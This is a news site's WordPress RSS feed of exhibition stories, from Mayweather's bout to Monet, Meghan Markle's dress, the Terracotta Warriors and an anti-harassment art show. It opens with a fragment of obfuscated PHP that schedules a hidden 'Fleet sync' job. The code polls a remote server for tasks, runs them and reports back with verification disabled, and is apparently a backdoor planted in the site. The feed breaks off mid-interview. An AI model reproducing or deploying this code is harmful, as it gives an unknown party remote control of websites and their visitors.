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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); exhibition – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 16 Nov 2018 13:11:24 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png exhibition – Brief News https://briefnews.eu 32 32 Mayweather’s crazy backflip on exhibition https://briefnews.eu/mayweathers-crazy-backflip-on-exhibition/ https://briefnews.eu/mayweathers-crazy-backflip-on-exhibition/#respond Fri, 16 Nov 2018 13:11:24 +0000 http://briefnews.eu/mayweathers-crazy-backflip-on-exhibition/ Floyd Mayweather’s next fight will be against Japanese kickboxer Tenshin Nasukawa.

Do you have deja vu? Us too.

It’s been less than a fortnight since Mayweather last announced he would fight — then backflipped to say he wouldn’t fight just three days later — the same opponent.

But on Friday, the CEO of mixed martial arts promoter RIZIN said the fight planned for New Year’s Eve was back on.

“Misunderstanding with Floyd Mayweather has been resolved,” Nobuyuki Sakakibara tweeted on his account.

“He will face off against Tenshin Nasukawa on December 31, New Year’s Eve.

“I will talk about the details at a press conference when I return to Japan,” he added, alongside a picture of himself, Mayweather, and a third man.

The tweet comes after Mayweather told the US website TMZ Sports on Wednesday in California that the fight would go ahead.

“We’re going to make it happen,” he reportedly told the site. “It’s a no-brainer.”

When the fight was first announced, it was unclear what rules would govern the match-up between the retired welterweight boxer and Nasukawa, an unbeaten kickboxer.

But Mayweather told TMZ Sport the face-off would involve “no kicking.”

“Rules? It’s going to be a little boxing exhibition,” he said. “I’m moving around with the guy for nine minutes, and of course it’s going be the highest paid exhibition ever.”

Mayweather also had a message for Khabib that the pair would only fight in the boxing ring.

“They said it has to happen in the Octagon. And I said, ‘Just tell me where Khabib has made 9 figures before in the Octagon’,” Mayweather said.

“If he hasn’t made 9 figures, he’s not the A-side. So, I’m the A-side.

“It’s my way, my rules. I’m Floyd ‘Money’ Mayweather.”

The unbeaten 41-year-old, who won world titles in five different weight divisions, made headlines earlier this month when he announced on his Instagram page that he was coming out of retirement for the fight.

“I want to give the people what they want — blood, sweat and tears,” he told a news conference in Tokyo afterwards.

But just two days later he posted a lengthy statement on his social media accounts saying he had been “blindsided” by organisers of the bout and had “never agreed” to the fight.

— with AFP

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]]> https://briefnews.eu/mayweathers-crazy-backflip-on-exhibition/feed/ 0 Meghan Markle’s wedding dress to go on public display at Royal Wedding exhibition https://briefnews.eu/meghan-markles-wedding-dress-to-go-on-public-display-at-royal-wedding-exhibition/ https://briefnews.eu/meghan-markles-wedding-dress-to-go-on-public-display-at-royal-wedding-exhibition/#respond Wed, 29 Aug 2018 00:33:13 +0000 http://briefnews.eu/meghan-markles-wedding-dress-to-go-on-public-display-at-royal-wedding-exhibition/

Meghan Markle, 37, made headlines all around the world when she married Prince Harry in May.

In the run-up to the wedding, there was much speculation as to what Meghan would wear, with keen fans eager to know what the highly-anticipated dress would look like.

When the Duchess did finally emerge, on the 19th May, the world was stunned by the elegant Claire Waight Keller for Givenchy gown.

Seen only in photographs or at a distance, the dress is now going to be seen up close and personal by the public, going on display at an upcoming exhibition.

Meghan’s ivory silk wedding dress and tiara are set to form part of the exhibition, A Royal Wedding: The Duke and Duchess of Sussex.

The exhibition is taking place at Windsor Castle, the location of the Royal Wedding, from 26 October.

The stunning dress is made of silk and features three-quarter-length sleeves, a bateau neckline and a train with built-in triple silk organza underskirt.

Effortlessly plain and simple, the dress was finished off with an impressive five-metre long veil.

The veil featured hand-embroidered flowers on its hem and “symbolic crops of wheat”.

The flowers all had a special meaning, with Meghan choosing her two favourite flowers, wintersweet (which grows outside Nottingham Cottage) and the California Poppy, along with flowers representing the Commonwealth.

At the exhibition, the public will be able to gaze upon all of Meghan’s bridal attire, including the famous Queen Mary Lozenge Bandeau Tiara.

The Queen Mary tiara is an art deco-style diamond and platinum tiara, first belonging to Princess Mary, and having been worn by Princess Margaret.

The stunning piece of jewellery was lent to Meghan by the Queen, and is studded with diamonds and features a detachable brooch in the centre.

A copy of Harry’s Savile Row-tailored uniform will feature at the exhibition, which will begin at wedding site Windsor Castle before making its way up to Holyrood Palace.

The specially commissioned frockcoat uniform of the Blues and Royals was made by Dege & Skinner and paired with a pair of trousers made of blue and black wool barathea.

The exhibition, A Royal Wedding: The Duke And Duchess Of Sussex will be at Windsor Castle from October 26 to January 6, and at Holyrood Palace from June 14 to October 6 next year.

The Duchess of Sussex’s Givenchy dress is reported to have cost the Duchess around £387,000, with her reception dress estimated to be worth £199,555.

Following the ceremony and wedding breakfast, Meghan changed into a more accessible Stella McCartney gown.

White in colour and featuring a halter neck and sultry open back, the dress was worn by the Duchess to her wedding reception at Frogmore House.

The American star wore matching pumps also in lily white. A silky, satin material with nude mesh and blue soles, they were designed by luxury shoe brand Aquazurra.

Meghan accessorised the timeless gown with Cartier diamond earrings and a stunning aquamarine cocktail ring, belonging to the late Princess Diana.

Who is Meghan Markle? Quick profile

Meghan Markle was born Rachel Meghan Markle, on August 4, 1981 to parents Doria Ragland and father Thomas Markle.

Her father was previously married to Roslyn Loveless and Meghan has two elder half sibling – sister Samantha Markle and brother Thomas Markle Junior.

Actress

Meghan’s first television appearance in the USA was in an episode of the medical drama General Hospital in 2002.

She later moved on to roles in CSI, Without a Trace and Castle along with bit parts in Hollywood films including Get Him to the Greek, Remember Me and Horrible Bosses.

Meghan was also a “briefcase girl” on Deal or No Deal – but her most famous role was as Rachel Zane in legal drama Suits, which launched in 2011.

She was written out in the finale of the seventh series when her character got married, which aired in April 2018 – just before she got married herself.

Charity and humanitarian work

Meghan Markle’s career in television has gone hand-in-hand with her support for causes close to her heart.

She wrote about the stigma around menstrual health in an article for Time magazine and was a Global Ambassador for World Vision Canada – with whom she travelled to Rwanda for the charity’s Clean Water Campaign.

And her commitment to gender equality has seen her work with the United Nations – receiving a standing ovation in 2015 for her speech to mark International Women’s Day.

Relationships

In September 2011, she wed film producer Trevor Engelson, who she began dating in 2004.

But the pair divorced two years later in August 2013, citing irreconcilable difference.

She was in a relationship with celebrity chef Cory Vitiello for almost two years, before they broke it off in 2016 but the two remain good friends.

And in June 2016, she met Prince Harry on a blind date set up by a mutual friend.

Their relationship began in October that year and just over one year later, on November 27, 2017, the pair announced their engagement.

They married on May 19, 2018 at St George’s Chapel in Windsor Castle.

Meghan’s heritage

Some have claimed Meghan Markle is the first mixed-race member of the Royal Family.

Historians are still arguing about Queen Charlotte, the wife of King George III.

But Meghan will be the first royal to openly embrace a mixed-race heritage.

She has written about the difficulties of being a biracial actress in Hollywood as she claims she is not black enough for some roles and not white enough for others.

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]]> https://briefnews.eu/meghan-markles-wedding-dress-to-go-on-public-display-at-royal-wedding-exhibition/feed/ 0 Queen Mathilde of Belgium wears vibrant yellow for visit to Art Deco exhibition https://briefnews.eu/queen-mathilde-of-belgium-wears-vibrant-yellow-for-visit-to-art-deco-exhibition/ https://briefnews.eu/queen-mathilde-of-belgium-wears-vibrant-yellow-for-visit-to-art-deco-exhibition/#respond Wed, 04 Jul 2018 15:47:56 +0000 http://briefnews.eu/queen-mathilde-of-belgium-wears-vibrant-yellow-for-visit-to-art-deco-exhibition/

Queen Mathilde of Belgium, 45, looked ready for sunshine as she stepped out in Brussels today.

The Belgian royal was visiting the Art Deco exhibition at the Villa Empain.

She wore a bright yellow dress which had a cut out pattern. A yellow lining could be seen underneath.

To offset the dress, Mathilde chose rose gold accessories – a slim belt and stiletto court shoes.

Despite the warm temperatures, she wore a pair of nude tights.

The Queen matched her outfit with her accessories, wearing a pair of bright yellow hoops and a chunky gold watch.

Villa Empain was a private house built between 1930-1934 by Swiss architect Michel Polak for Baron Louis Empain.

It is now the home of the Boghossian Foundation and is a centre of art and culture, hosting regular exhibitions.

Queen Mathilde is the wife of King Philipe, who become King after his father abdicated in 2013.

Mathilde is the first Belgian-born Queen of Belgium. Born to Jonkheer Patrick d’Udekem d’Acoz, who was of Belgian noble ancestry, and his wife, Countess Anna Maria Komorowska, she grew up on her family’s estate Castle Losange in Villers-la-Bonne-Eau in the Bastogne municipality of Belgium, near the Luxembourgish border.

Queen Mathilde has carried the title Jonkvrouw from birth, as her father descends from French-speaking, Walloon nobles and was titled Jonkheer, the lowest title within the Belgian nobility system.

She has four siblings, Jonkvrouw Marie-Alix d’Udekem d’Acoz, Elisabeth Pallavicini, Baroness Hélène Janssen and Count Charles-Henri d’Udekem d’Acoz.

Between 1991-1994, Mathilde studied speech therapy at the Institut Libre Marie Haps in Brussels and earned a diploma with high honours (magna cum laude).

Following this, she began studying psychology at the Université Catholique de Louvain and ran her own speech therapy practice in Brussels from 1995 until her marriage in 1999.

Mathilde met Prince Philippe of Belgium, the Duke of Brabant in 1996 while playing tennis, and their engagement in September 1999 came as a complete surprise to the country who did not know about their relationship.

The pair married on 4 December 1999, in a civil ceremony at the Brussels Town Hall and then married religiously in a ceremony at the Cathedral of Saint Michael and Saint Gudula.

She has four children with her husband – Princess Elisabeth, 16, Prince Gabriel, 14, Prince Emmanuel, 12, and Princess Eleonore, 10.

As well as her royal duties, she is kept busy with plenty of charity work.

Mathilde is the honorary president of Unicef Belgium, as well as the World Health Organisation’s Special Representative for Immunization.

She also set up the Queen Mathilde Fund in 2001, which promotes the care of vulnerable people.

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]]> https://briefnews.eu/queen-mathilde-of-belgium-wears-vibrant-yellow-for-visit-to-art-deco-exhibition/feed/ 0 Claude Monet exhibition: Making light of building work https://briefnews.eu/claude-monet-exhibition-making-light-of-building-work/ https://briefnews.eu/claude-monet-exhibition-making-light-of-building-work/#respond Sun, 25 Mar 2018 20:09:07 +0000 http://briefnews.eu/claude-monet-exhibition-making-light-of-building-work/

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Known for his water lilies, a new exhibition shows another side to Claude Monet’s work

But a new exhibition at the National Gallery – the first purely Monet show staged in London for more than 20 years – will focus on how he used buildings in his work.

Monet and Architecture will feature 77 paintings, almost a quarter of which come from private collections, offering a once-in-a-lifetime chance to see these architecturally-focused works in one place.

The exhibition is divided into three non-chronological parts. the Village And the Picturesque focuses on what curator Professor Richard Thomson describes as “buildings that were old, historic and perhaps a bit ramshackle”, and wonderful pastoral views.

The City And the Modern is about Monet’s fascination with the rapid growth of Paris and of resorts such as Trouville on the Normandy coast.

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Finally, the monument And the mysterious chronicles later work abroad, with particular emphasis on Venice and London, and includes his studies of Rouen Cathedral.

He painted more than 30 pieces here, at different times of day and year, showing the changes under different lighting conditions. seven will be in the exhibition.

Professor Thomson, who is Watson Gordon Professor of Fine Art at the University of Edinburgh, explains: “Previous exhibitions have only taken a slice of his career; this one takes a look at works from his entire 60-year span.

“It’s not a chronological show but one which shows how Monet used buildings for different purposes in his work. Buildings can give regular shapes in the irregularity of nature, add colour, provide screens on which light played. They can give a sense of modernity and show how the world is changing very rapidly.

“And they can have psychological importance – in the Customs officer’s House, for instance, the building is standing as a human presence where there are no figures.

”What comes across very strongly from the show is how the world changed in Monet’s 86 years, for example, the rise of what was considered “picturesque” which led to people wanting to see places with historic associations and beauty, hence the rise of tourism as a business.

This began in the 1820s after memories of departed Emperor Napoleon’s fondness for classical architecture, churches and castles drew more people to go to see the same things.

There was also a publication called Voyages Pittoresques Et Romantiques Dans L’Ancienne France, a travel guide illustrated with lithographic prints of historic sites, published between the 1820s and 1878, which gave people ideas of where to visit.

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The Thames below Westminster: Claude Monet

Combined with the expanding rail network, it meant that resorts developed quickly and Monet and his family (first wife Camille and baby son Jean) visited Trouville in 1870 and recorded how it had become popular in the paintings the Beach At Trouville and on the Boardwalk At Trouville, showing tourists walking along the seafront and past the new buildings, and using a marquee set up for their entertainment.

Ironically, when Monet was painting his Rouen Cathedral series in the 1890s, he complained of 600 tourists with cameras spoiling his view.

In 1888, kodak started producing a simple camera that used a lightweight lm, which meant everyone could take photographs. Monet’s Rouen series were very well received…and ironically described by a contemporary as “like a snapshot”.

When painting the facade of the cathedral, apart from his earliest works there, Monet did not sit in the square outside but took space in a room above monsieur Levy’s dress shop opposite the gothic building, and a screen was placed between him and the ladies trying on their new outfits.

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Cathedrale de Rouen, Le Portail Claude Monet

The shop is now the Rouen tourist office and from there you can see the view Monet painted, sometimes working on nine or 10 canvasses in the course of the changing light of the day.

Monet’s time in London, working on views of the thames and the Houses of Parliament that he never tired of, are also well-represented in the exhibition.

Again, keeping the theme of how Monet’s art reflected ever-changing society, most of the buildings he painted in London, with the exception of Waterloo Bridge, had been built in his lifetime. He also painted the dazzling electric lights of Leicester square in 1901 (a painting which can currently be seen in Tate Britain’s Impressionists In London show).

Monet’s Impressionism – the style of painting in the open-air rather than in a studio and showing the momentary effects of light on a subject – means that his work is as much about the light as the buildings he paints.

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La Cour d’Albane, 1892

“I want the unobtainable,” he said. “Other artists paint a bridge, a house, a boat and that’s the end. They are finished. I want to paint the air which surrounds the bridge, the house, the boat; the beauty of the air in which these objects are located, and that is nothing short of impossible.”

On a visit to London in 1900 and 1901, he wrote to his second wife Alice about his efforts to paint the buildings of the city with the changing effects of light he desired.

“I’m going strong now, although it’s very difficult, for no one day is anything like another. Yesterday there was sun, with an exquisite mist and a splendid sunset; today, rain and fog, to the point where I am writing to you by (electric) light at four in the afternoon, whereas yesterday I was able to work in daylight until almost six o’clock.”

He’d panic when the weather wasn’t changeable enough. “When I got up, I was terrified to see there was no fog, not even a wisp of mist: I was prostrate, and could see all my paintings done for. But gradually the res were lit and the smoke and haze came back.”

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L’Église de Vétheuil, 1878 Claude Monet

The London smog proved picturesque. Monet wrote to Alice that he had up to 65 canvasses on the go and by 9am on the morning of February 3, 1901, had already been toiling on four separate works.

“There’s no more extraordinary country for a painter,” he said at the end of the letter.

However, as well as grand buildings, there are also less well-known structures in the National Gallery exhibition.

Monet and Camille moved to the village of Vétheuil in 1878, and he was immediately attracted to painting the 13th-century church, featuring it many times and making it one of the most recognisable buildings in his work.

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Vue de Rouen, 1872, Claude Monet

There is a sadness to these images, too.

Camille died in the house in Vétheuil and her husband painted her on her death bed.

She is buried in a little cemetery close to the church her husband found so inspiring.

The Credit Suisse Exhibition: Monet And Architecture is at the National Gallery from April 9-July 29. More details at nationalgallery.org.uk/ 020 7747 2885

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]]> https://briefnews.eu/claude-monet-exhibition-making-light-of-building-work/feed/ 0 The Terracotta Effect: This exciting new exhibition is boosting Liverpool’s tourism https://briefnews.eu/the-terracotta-effect-this-exciting-new-exhibition-is-boosting-liverpools-tourism/ https://briefnews.eu/the-terracotta-effect-this-exciting-new-exhibition-is-boosting-liverpools-tourism/#respond Sat, 24 Mar 2018 02:15:18 +0000 http://briefnews.eu/the-terracotta-effect-this-exciting-new-exhibition-is-boosting-liverpools-tourism/

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Liverpool’s Terracotta Warriors exhibition has brought a tourist boom

Famous for The Beatles, its iconic docks and two Premier League football clubs, the Merseyside city of Liverpool is a vibrant tourism hub.

The region welcomed over 62 million visitors in 2016, making it the fifth most visited destination in the UK for overseas visitors, according to research conducted by VisitLiverpool.

However, this year’s figures are set to soar even further, after Liverpool’s World Museum opened its doors to China’s First Emperor and the Terracotta Warriors exhibition in February 2018, drawing an influx of domestic and international visitors.

Director of Marketing and Communications at National Museums Liverpool, Tracy McGeagh, revealed that the exhibition had been open for a month and received over 47,500 visitors so far. They have sold 230,000 tickets until the exhibition ends on 28 October 2018.

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Since the exhibition was announced Liverpool has seen an increase at eight museums

China’s First Emperor and the Terracotta Warriors has truly captured the imagination of people inside and outside Liverpool. It’s already had a huge impact on tourism, and throughout the year it will be the primary reason to visit for many visitors.

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Having travelled 5,000 miles, ten individually carved, life-size warriors, including a terracotta calvary horse, will be on display as part of a collection of over 180 ancient artefacts.

Dating back to 259 BC, visitors to the exhibition will be able to come face to face with Warriors as well as see exquisite objects from the Qin Han dynasty, some of which have never been seen in the UK before.

Liverpool is home to the oldest Chinese community in Europe and was welcomed just in time for Chinese New Year’s festivities, which celebrates Year of the Dog.

It also marks the 10-year anniversary since Liverpool was named European Capital of Culture in 2008.

“Liverpool was an exciting place back then”, McGeagh recalled: “There was a lot going on. It’s really gone from strength to strength.”

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Terracotta Warriors have been on display since February in Liverpool

“Liverpool was an exciting place back then”, McGeagh recalled: “There was a lot going on. It’s really gone from strength to strength.”

Ten years on, the city has undergone great transformation, helped in part by the regeneration of the Albert Docks and shopping centre, Liverpool One.

This lasting legacy has boosted the not only the city, but the region’s profile, as a tourism destination and increased general understanding that it is a great place to visit.

David Fleming, Director of National Museums Liverpool, commented: “The past ten years have ben an absolute triumph of culture in Liverpool, and we are overjoyed to [have marked] this milestone year with our biggest exhibition yet; one that can’t been seen anywhere else in Europe. World Museum is one of the jewels in Liverpool’s cultural crown.

“It’s been in its current location since 1860 and welcomes almost 700,000 visitors every year. The Terracotta Warriors exhibition is one of the most important exhibitions we have ever held here”.

Whilst the city has boasted great architecture, museums and galleries for many years, organisers believe the new exhibition has shun a spotlight on the city once again, drawing in an influx of local, national and international visitors.

The Terracotta Warriors exhibition is also having a knock-on effect on Liverpool’s other tourism sites, what McGeagh refers to as ‘The Terracotta Effect’.

One third of visitors are in the city to visit one of the museums and galleries, research recorded by National Museums Liverpool shows.

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The British Museum claims first place once again in the UK’s 10 most popular tourist attractions, but not a single site is outside London.

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Since the exhibition was announced, organisers have seen an increase in visitors to all eight museums and galleries owned by the group. For example, sister museum, The Walker Art Gallery, has been 37 per increase since January.

Chris Brown, director of Marketing Liverpool, said: “China’s First Emperor and the Terracotta Warriors has truly captured the imagination of people inside and outside Liverpool.

“It’s already had a huge impact on tourism, and throughout the year it will be the primary reason to visit for many visitors.

“As well as this, it gives us a great boost in international profile and reaffirms our longstanding links with China. Our Liverpool 2018 programme is exceptionally ambitious, and the exhibition has got this off to the perfect start.”

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]]> https://briefnews.eu/the-terracotta-effect-this-exciting-new-exhibition-is-boosting-liverpools-tourism/feed/ 0 Golden age of ocean liners explored in stunning new cruise exhibition https://briefnews.eu/golden-age-of-ocean-liners-explored-in-stunning-new-cruise-exhibition/ https://briefnews.eu/golden-age-of-ocean-liners-explored-in-stunning-new-cruise-exhibition/#respond Mon, 29 Jan 2018 19:02:30 +0000 http://briefnews.eu/golden-age-of-ocean-liners-explored-in-stunning-new-cruise-exhibition/

But travelling this way used to be less of a family affair, and more of a glamorous way to travel in style.

Now a new exhibition at the V&A reveals the true luxury behind the liners of years gone by.

‘Ocean Liners: Speed and Style’ opens at the London museum on 3rd February, and will allow visitors to explore “the design and cultural impact of the ocean liner on an international scale”.

Over 250 objects will be on display, from paintings to fashion, film and posters to give visitors a feel of the romance of travelling by liner.

The most infamous liner of all time is the Titanic, and a panel fragment from the first class lounge will return to the UK for the first time for the exhibition.

It is not the only doomed liner to have artefacts feature, as the Lusitania, which sank in 1915, provides one of the most opulent items.

A stunning diamond and pearl tiara, which was saved from the sinking ship, will be on display.

The tiara was commissioned from Cartier in 1909 by the Canadian banker and shipping magnate Sir Hugh Allan, as a gift for his wife Marguerite, who survived the shipping disaster.

Royalty also gets a nod, with  The Duke of Windsor’s sumptuous 1940s Goyard luggage on display in Europe for the first time since leaving the Windsor Estate.

The exhibition is sponsored by Viking Cruises, and their chairman, Torstein Hagen, said of the collaboration with the V&A: “A Viking journey is all about exploration and discovery, and we are committed to providing culturally enriching experiences to our guests, both on board our ships and on shore.

“We are very pleased to work with the world’s leading museum of art and design and performance, and to partner on this very exciting exhibition celebrating ocean travel, past and present.”

Tristram Hunt, Director of the V&A, said: “I’m delighted that this dazzling exhibition, the first of its kind to explore the international design and cultural impact of the ocean liner, will be the V&A’s first major exhibition of 2018.

“This seminal show will reveal hidden design stories of some of the world’s most luxurious liners, from the Titanic to the Normandie and QE2.

“We have collected ship-related objects and ephemera for well over 100 years, and now have a startlingly brilliant collection of ocean liner material, making us uniquely placed to present this exhibition. I’d like to thank our sponsors, Viking Cruises, for their generous support in helping us stage this ambitious show.”

Ghislaine Wood, exhibition curator, said: “The great age of ocean liners has long passed but no form of transport has been so romantic or so remarkable. Three years in the making, this exhibition will show how liners have shaped the modern world in many ways.”

Ocean Liners: Speed and Style, sponsored by Viking Cruises, at the V&A from 3 February – 17 June 2018 vam.ac.uk/oceanliners

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]]> https://briefnews.eu/golden-age-of-ocean-liners-explored-in-stunning-new-cruise-exhibition/feed/ 0 Russian artists turned Putin into pop art in a new exhibition — and the photos are curious https://briefnews.eu/russian-artists-turned-putin-into-pop-art-in-a-new-exhibition-and-the-photos-are-curious/ https://briefnews.eu/russian-artists-turned-putin-into-pop-art-in-a-new-exhibition-and-the-photos-are-curious/#respond Fri, 15 Dec 2017 03:26:42 +0000 http://briefnews.eu/russian-artists-turned-putin-into-pop-art-in-a-new-exhibition-and-the-photos-are-curious/ A collection of artists and fans of Russian President Vladimir Putin recently opened an art exhibit dedicated to the “superhuman” qualities of their country’s leader.

Titled “SUPERPUTIN,” the exhibit features about 30 paintings and sculptures of the Russian leader as larger-than-life icons, including as a Roman emperor, an Olympic athlete, Santa Claus and, a superhero.

The exhibit opened last week, coincidentally on the same day Putin announced he would — unsurprisingly — seek reelection in 2018.

The hosting gallery said its aim was to illustrate Putin’s positive qualities and his unique popularity in Russia. Organizer Yulia Dyuzheva told the news outlet Agence France Presse she views Putin as not only a superhero, but a super leader, a view not uncommon in Russia where the president has a remarkably high approval rating.

Take a look at some of the surreal artworks below:

There’s a muscular Putin using a “Putinblaster.”

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Here Putin — a known dog-lover — snuggles a puppy that was gifted to him from the president of Turkmenistan.

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A heroic mini-Putin sculpture rides a bear in full body armor.

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]]> https://briefnews.eu/russian-artists-turned-putin-into-pop-art-in-a-new-exhibition-and-the-photos-are-curious/feed/ 0 Russian UN envoy opens exhibition to mark Sputnik’s 60th anniversary (VIDEO) https://briefnews.eu/%ef%bb%bfrussian-un-envoy-opens-exhibition-to-mark-sputniks-60th-anniversary-video/ https://briefnews.eu/%ef%bb%bfrussian-un-envoy-opens-exhibition-to-mark-sputniks-60th-anniversary-video/#respond Thu, 05 Oct 2017 02:23:24 +0000 http://briefnews.eu/%ef%bb%bfrussian-un-envoy-opens-exhibition-to-mark-sputniks-60th-anniversary-video/

Russia’s UN envoy Vassily Nebenzia has unveiled a photo exhibition in the UN headquarters in New York, dedicated to the Soviet Union’s launch of the Earth’s first artificial satellite, Sputnik-1, 60 years ago. The breakthrough achievement kicked off an era of space exploration.

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Replica of Sputnik 1 © NASA

Speaking at the opening ceremony Wednesday, Nebenzia said that by staging an exhibition the Russian mission to the UN wants to “embrace the unembraceable” and “remind of some of the milestones of Soviet unmanned space exploration.”

The importance of the pioneering mission by the Soviet Union is hard to overestimate as it “started a great era of applied space exploration” with the word “Sputnik” immediately entering all the world languages, he added.

Russia takes a special pride in that a replica of Sputnik adorns the lobby of the UN General Assembly, Nebenzia noted.

The opening ceremony was attended by UN Secretary General António Guterres and the UN Office for Outer Space Affairs Director, Simonetta Di Pippo, among other dignitaries.

Taking the floor, Guterres called the Sputnik entering the low orbit on October 4, 1957 “one of most remarkable developments in the world scene.”

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]]> https://briefnews.eu/%ef%bb%bfrussian-un-envoy-opens-exhibition-to-mark-sputniks-60th-anniversary-video/feed/ 0 ‘I Didn’t Ask for This’: Women Artists Transform Unsolicited Dick Pics into An Empowering Exhibition https://briefnews.eu/i-didnt-ask-for-this-women-artists-transform-unsolicited-dick-pics-into-an-empowering-exhibition/ https://briefnews.eu/i-didnt-ask-for-this-women-artists-transform-unsolicited-dick-pics-into-an-empowering-exhibition/#respond Mon, 25 Sep 2017 16:37:09 +0000 http://briefnews.eu/i-didnt-ask-for-this-women-artists-transform-unsolicited-dick-pics-into-an-empowering-exhibition/ This year, the media has exploded with troublingstoriesaboutsystemicsexual harassment, assault, and misogyny — including reports about our very own president. We have cultivated a society that tolerates the mistreatment of women. This ongoing epidemic of violence and hostile/ambivalent sexism demands a dramatic shift in attitude.

Artist, activist, and writer Whitney Bell is tackling these issues with a new installation of a traveling anti-harassment exhibition, I Didn’t Ask for This: A Lifetime of Dick Pics. On October 6 and 7, Think Tank Art Gallery in Los Angeles will host a weekend of art and sex-positive, educational workshops and panels, with guests including Garbage frontwoman Shirley Manson, Ms. Magazine’s Carmen Rios, and body-positive blogger and Premme co-founder Gabi Fresh. While the dildo photo booth, vibrator vending machine, and sex-toy DJ booth promise to entertain, the centerpiece of the event is an exhibition of more than 150 unsolicited dick pics (and the nasty text conversations that accompany them), inside a 3,500 square-foot recreation of a woman’s home. Bell and her collaborators aim to bring attention to sexual harassment in the digital space and beyond, revealing how the violation of women has become commonplace. The show will also raise money for the anti-harassment group HollaBack, which works to “ensure equal access to public spaces.”

Flavorwire recently spoke with Bell about the exhibition, how men are responding to it, and what people should do if they receive an unwanted dick pic.

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Flavorwire: Where do all the dick pics in the exhibit come from?

Whitney Bell: The river of dicks that line the gallery walls were sent by just that: Total fucking dicks. Unsolicited, unwanted dicks.

Even before the show, I was receiving far more dick pics than the average woman, because I’m fairly public on the internet and use sexuality to challenge the typical myth of what feminism should look like. So to many creeps, that means sending me a picture of their asshole is totally fair game.

Once I came up with the idea, I hit up every woman and feminist organization I had ties to, asking for their unsolicited pics. For many, it didn’t take more than just opening up their old Tinder accounts. For this second installation, though, we have almost 100% all new dick pics (save for a few ridiculous gems I just couldn’t let go of). I’ve partnered with a few other “dick pic artists” (who knew there were so many of us), and have taken submissions from their collections of unsolicited Ds as well. This has resulted in the crème de la crème of dick pics — the most hilarious, cringe-worthy, and irksome photos all pooled together.

These photos were not sent not to flirt or to entice, but to control. As every woman knows, harassment isn’t about sex — it is about power. No guy thinks that using a picture of his balls as a ”hey, what’s up, hello” on Tinder is going to get him a date. Much like a subway flasher, they get off forcing someone else to see their cock. Making someone else uncomfortable turns them on, the violation is the goal. If they want an audience, then I’ll give them an audience.

The message of the show is serious, but the presentation is fun. Have you found this makes men less defensive and see the overall anti-harassment message versus viewing the show as a male-bashing sesh? And what have responses from men been like?

It’s definitely important to bring some levity to this topic, because if what we really want to do is create change, then we need to meet the audience where they are at, reach across the proverbial party line, and encourage discourse and discussion in an approachable way. Additionally, I believe that the fun environment allows for women to let their guard down a bit, which will hopefully allow them to share their own experiences and open up a conversation with people they might not otherwise be talking to. While I wish all feminist events didn’t need to branded as “non-man hating” since that actually has nothing to do with feminism, it is an unfortunate reality. I want to make it very clear that this is not dick-hating or man-hating. I love a good dick, I love sex, I just don’t love harassment, and it’s time we start distinguishing the two.

What I think is exceptionally worthwhile about this exhibit is the reaction it’s met with from men. “Are people really sending you pictures like this?” they ask, horrified. Obviously, #NotAllMen are chauvinistic pigs, harassing women with unsolicited photos of their cocks, but enough men are. Enough men that almost every single woman I know has received one. Enough men that every woman has been made to feel unsafe, like her body is not her own. I encouraged these shocked men to talk to the women in their lives and ask them not just about the dick pics that they receive, but the sexual harassment that they face every day. Maybe it’s getting hollered at on the street, maybe it’s some dude at work, maybe it’s you, and you don’t know.

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The online abuse of women journalists, particularly in our Trump media environment, is troubling. How can companies become better advocates for the safety and security of professional women like us in a virtual space?

We have a known sexual offender in the highest office, and while he isn’t the first, our outrage is much louder than ever before. Women are becoming more and more empowered and because of that our outrage is growing much louder. Sexual harassment is a tool used to silence someone, especially women. By stripping ourselves of our shame and calling out our harassers more publicly than ever before, we are finding our power. This was my small contribution to that movement.

Will you be expanding the exhibition to include other forms of everyday sexual harassment and normalized misogyny in the future?

We actually already do! Contrary to what you may think, this show is not about dick pics at all; it is about the constant harassment that women and femmes are expected to silently endure every single day. Interspersed among the dick pics are stats on sexual harassment, quotes from men who send them, and quotes from women about their own experiences with sexual harassment. Bye Felipe — the stupidly popular Instagram account that calls out men who turn hostile when rejected/ignored — has generously donated dozens of submissions of the horrifying text/dating app messages that women receive. We selected text convos spanning everything from dudes calling someone a “fat whore” for simply turning down a date, to men texting “rape is frat.” Or my personal favorite — “choke on my cock you dumn bitch #makeamericagreatagain” — which is jarring, but not surprising at all. It’s important to give context, so it’s not just a bunch of penises on a wall. I want to show that we are not trying to shame men, or shame the penis, but rather the act of sexual harassment as a whole. I want to show intent and explain that sending an unsolicited photo of your dick isn’t the only way you can harass someone on the internet.

Additionally, this time we have introduced a full day of workshops and panels to show the full scope of issues we feel need to be discussed. Intersectional Feminism 101 For Men, Harassment In The Digital Era & The Intersection of Feminism and Pornography. We also have multiple authors, journalists, sex educators, victim’s rights advocates, feminist pornographers, editors . . . I feel incredibly lucky to have this powerhouse of bad ass women, femmes, and allies involved.

What should people do if they receive an unwanted dick pic?

